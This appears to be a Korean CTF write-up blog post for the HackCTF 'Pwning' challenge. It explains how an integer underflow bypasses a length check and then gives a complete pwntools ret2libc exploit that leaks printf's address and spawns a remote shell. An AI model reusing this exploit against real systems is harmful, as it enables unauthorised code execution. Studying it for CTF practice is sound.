ii4gsp
HackCTF - Pwning 본문
IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다.
get_n()함수로 nptr애 4byte만큼 입력할수있다.
입력한 4byte를 atoi()함수로 정수로 바꿔 v2에 저장한다.
v2가 32보다 크면 return이 실행되고 프로그램이 종료된다.
v2에 언더플로우를 일으키면 if문을 통과하게되고 get_n()함수로 ret를 덮을수있다.
system - printf = 0xe6e0
system - "/bin/sh" = 0x11e6eb
printf의 주소를 leak해서 실제주소를 알아내고, system()함수와 "/bin/sh"를 구해주면 된다.
Exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('/home/ii4gsp/HackCTF/pwning')
printf_plt = e.plt['printf']
printf_got = e.got['printf']
vuln_addr = 0x0804852f
offset1 = 0xe6e0
offset2 = 0x11e6eb
r.sendline('-1')
r.recvuntil('\n')
payload1 = ''
payload1 += '\x90' * 48
payload1 += p32(printf_plt)
payload1 += p32(vuln_addr)
payload1 += p32(printf_got)
r.sendline(payload1)
r.sendline('-1')
r.recvuntil('\n')
data = r.recv()
printf_addr = u32(data[:4])
system = printf_addr - offset1
binsh = system + offset2
payload2 = ''
payload2 += '\x90' * 48
payload2 += p32(system)
payload2 += '\x90' * 4
payload2 += p32(binsh)
r.sendline(payload2)
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - ROP (0) | 2020.02.21 |
---|---|
HackCTF - UAF (0) | 2020.02.19 |
HackCTF - Gift (0) | 2020.02.18 |
HackCTF - Look at me (0) | 2020.02.17 |
HackCTF - Beginner_Heap (0) | 2020.02.17 |
Comments